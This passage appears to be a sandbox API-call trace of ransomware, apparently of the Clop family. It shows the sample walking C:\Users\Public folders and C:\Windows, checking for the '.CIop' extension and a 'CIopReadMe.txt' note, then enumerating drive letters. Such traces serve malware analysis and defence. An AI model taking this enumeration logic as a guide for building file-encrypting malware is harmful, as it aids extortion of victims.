lpString2="..") returned 1 [0159.017] lstrcmpW (lpString1="Documents", lpString2=".") returned 1 [0159.017] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.017] SetErrorMode (uMode=0x1) returned 0x1 [0159.017] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0159.017] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Documents\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0159.017] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0159.018] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.021] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0159.021] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0159.021] lstrlenW (lpString="desktop.ini") returned 11 [0159.022] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.022] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\*.*") returned="C:\\Users\\Public\\Documents\\*.*" [0159.022] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.022] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents") returned="Documents" [0159.022] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0159.022] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.022] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0159.023] SetErrorMode (uMode=0x1) returned 0x1 [0159.023] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0159.023] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\") returned="C:\\Users\\Public\\Documents\\My Music\\" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0159.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.023] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0159.023] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0159.023] lstrlenW (lpString=".CIop") returned 5 [0159.023] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.023] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.023] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.023] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Music" | out: lpString1="C:\\Users\\Public\\Documents\\My Music") returned="C:\\Users\\Public\\Documents\\My Music" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Music\\*.*") returned="C:\\Users\\Public\\Documents\\My Music\\*.*" [0159.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.023] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Music") returned="My Music" [0159.023] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0159.023] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0159.023] SetErrorMode (uMode=0x1) returned 0x1 [0159.023] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0159.023] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\") returned="C:\\Users\\Public\\Documents\\My Pictures\\" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0159.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.023] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0159.023] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0159.023] lstrlenW (lpString=".CIop") returned 5 [0159.023] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.023] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.023] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.023] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures") returned="C:\\Users\\Public\\Documents\\My Pictures" [0159.023] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Public\\Documents\\My Pictures\\*.*" [0159.023] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.024] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Pictures") returned="My Pictures" [0159.024] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0159.024] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Public\\Documents" | out: lpString1="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0159.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\") returned="C:\\Users\\Public\\Documents\\" [0159.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0159.024] SetErrorMode (uMode=0x1) returned 0x1 [0159.024] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0159.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0159.024] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Public\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\") returned="C:\\Users\\Public\\Documents\\My Videos\\" [0159.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0159.024] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.024] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0159.024] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0159.024] lstrlenW (lpString=".CIop") returned 5 [0159.024] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0159.024] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.024] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0159.024] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Public\\Documents\\My Videos" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos") returned="C:\\Users\\Public\\Documents\\My Videos" [0159.024] lstrcatW (in: lpString1="C:\\Users\\Public\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Documents\\My Videos\\*.*") returned="C:\\Users\\Public\\Documents\\My Videos\\*.*" [0159.024] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0159.024] PathFindFileNameW (pszPath="C:\\Users\\Public\\Documents\\My Videos") returned="My Videos" [0159.024] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0159.025] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.025] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0159.025] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0159.025] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.025] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.025] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0159.025] SetErrorMode (uMode=0x1) returned 0x1 [0159.025] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0159.025] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0159.025] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Downloads\\" | out: lpString1="C:\\Users\\Public\\Downloads\\") returned="C:\\Users\\Public\\Downloads\\" [0159.025] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0159.025] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.025] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0159.025] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0159.025] lstrlenW (lpString="desktop.ini") returned 11 [0159.025] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0159.025] lstrcatW (in: lpString1="C:\\Users\\Public\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Downloads\\*.*") returned="C:\\Users\\Public\\Downloads\\*.*" [0159.025] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.026] PathFindFileNameW (pszPath="C:\\Users\\Public\\Downloads") returned="Downloads" [0159.026] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0159.026] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.026] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0159.026] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0159.026] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.026] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.026] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0159.026] SetErrorMode (uMode=0x1) returned 0x1 [0159.026] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0159.026] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0159.026] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Libraries\\" | out: lpString1="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\" [0159.026] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0159.026] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.026] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0159.026] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0159.026] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0159.026] lstrlenW (lpString="desktop.ini") returned 11 [0159.026] lstrlenW (lpString=".CIop") returned 5 [0159.026] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Libraries" | out: lpString1="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0159.026] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Libraries\\*.*") returned="C:\\Users\\Public\\Libraries\\*.*" [0159.026] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.027] PathFindFileNameW (pszPath="C:\\Users\\Public\\Libraries") returned="Libraries" [0159.027] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries" [0159.027] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.027] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0159.027] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0159.027] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.027] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.027] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0159.027] SetErrorMode (uMode=0x1) returned 0x1 [0159.027] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0159.027] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0159.027] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Music\\" | out: lpString1="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\" [0159.027] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0159.027] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.027] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0159.027] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0159.027] lstrlenW (lpString="desktop.ini") returned 11 [0159.027] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Music" | out: lpString1="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0159.027] lstrcatW (in: lpString1="C:\\Users\\Public\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Music\\*.*") returned="C:\\Users\\Public\\Music\\*.*" [0159.027] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.027] PathFindFileNameW (pszPath="C:\\Users\\Public\\Music") returned="Music" [0159.027] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0159.028] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.028] lstrcmpW (lpString1="Pictures", lpString2="..") returned 1 [0159.028] lstrcmpW (lpString1="Pictures", lpString2=".") returned 1 [0159.028] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.028] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.028] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0159.028] SetErrorMode (uMode=0x1) returned 0x1 [0159.028] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0159.028] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0159.028] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Pictures\\" | out: lpString1="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\" [0159.028] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0159.028] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.028] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0159.028] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0159.028] lstrlenW (lpString="desktop.ini") returned 11 [0159.028] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Pictures" | out: lpString1="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0159.028] lstrcatW (in: lpString1="C:\\Users\\Public\\Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Pictures\\*.*") returned="C:\\Users\\Public\\Pictures\\*.*" [0159.028] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e478 [0159.028] PathFindFileNameW (pszPath="C:\\Users\\Public\\Pictures") returned="Pictures" [0159.028] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures" [0159.028] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0159.028] lstrcmpW (lpString1="Videos", lpString2="..") returned 1 [0159.028] lstrcmpW (lpString1="Videos", lpString2=".") returned 1 [0159.028] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Public" | out: lpString1="C:\\Users\\Public") returned="C:\\Users\\Public" [0159.029] lstrcatW (in: lpString1="C:\\Users\\Public", lpString2="\\" | out: lpString1="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0159.029] lstrcatW (in: lpString1="C:\\Users\\Public\\", lpString2="Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0159.029] SetErrorMode (uMode=0x1) returned 0x1 [0159.029] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0159.029] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0159.029] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Public\\Videos\\" | out: lpString1="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\" [0159.029] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0159.029] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.029] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0159.029] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.029] lstrlenW (lpString="desktop.ini") returned 11 [0159.029] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Public\\Videos" | out: lpString1="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0159.029] lstrcatW (in: lpString1="C:\\Users\\Public\\Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Public\\Videos\\*.*") returned="C:\\Users\\Public\\Videos\\*.*" [0159.029] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e838 [0159.029] PathFindFileNameW (pszPath="C:\\Users\\Public\\Videos") returned="Videos" [0159.029] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Videos" | out: lpString1="Videos") returned="Videos" [0159.029] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0159.029] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0159.029] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0159.030] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0159.030] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0159.030] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0159.030] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0159.030] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0159.030] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0159.030] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0159.030] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0159.030] lstrcatW (in: lpString1="C:\\", lpString2="Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0159.030] SetErrorMode (uMode=0x1) returned 0x1 [0159.030] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0159.030] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0159.030] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Windows\\" | out: lpString1="C:\\Windows\\") returned="C:\\Windows\\" [0159.030] lstrcatW (in: lpString1="C:\\Windows\\", lpString2="*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0159.030] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0159.030] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0159.030] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0159.030] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Windows" | out: lpString1="C:\\Windows") returned="C:\\Windows" [0159.030] lstrcatW (in: lpString1="C:\\Windows", lpString2="\\*.*" | out: lpString1="C:\\Windows\\*.*") returned="C:\\Windows\\*.*" [0159.030] FindFirstFileW (in: lpFileName="C:\\Windows\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0159.030] PathFindFileNameW (pszPath="C:\\Windows") returned="Windows" [0159.030] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Windows" | out: lpString1="Windows") returned="Windows" [0159.030] Sleep (dwMilliseconds=0x493e0) [0169.035] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="A:") returned 2 [0169.035] GetDriveTypeW (lpRootPathName="A:") returned 0x1 [0169.036] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="B:") returned 2 [0169.036] GetDriveTypeW (lpRootPathName="B:") returned 0x1 [0169.036] wsprintfW (in: param_1=0x2dcff28, param_2="%c:" | out: param_1="C:") returned 2 [0169.036] GetDriveTypeW (lpRootPathName="C:") returned 0x3 [0169.036] 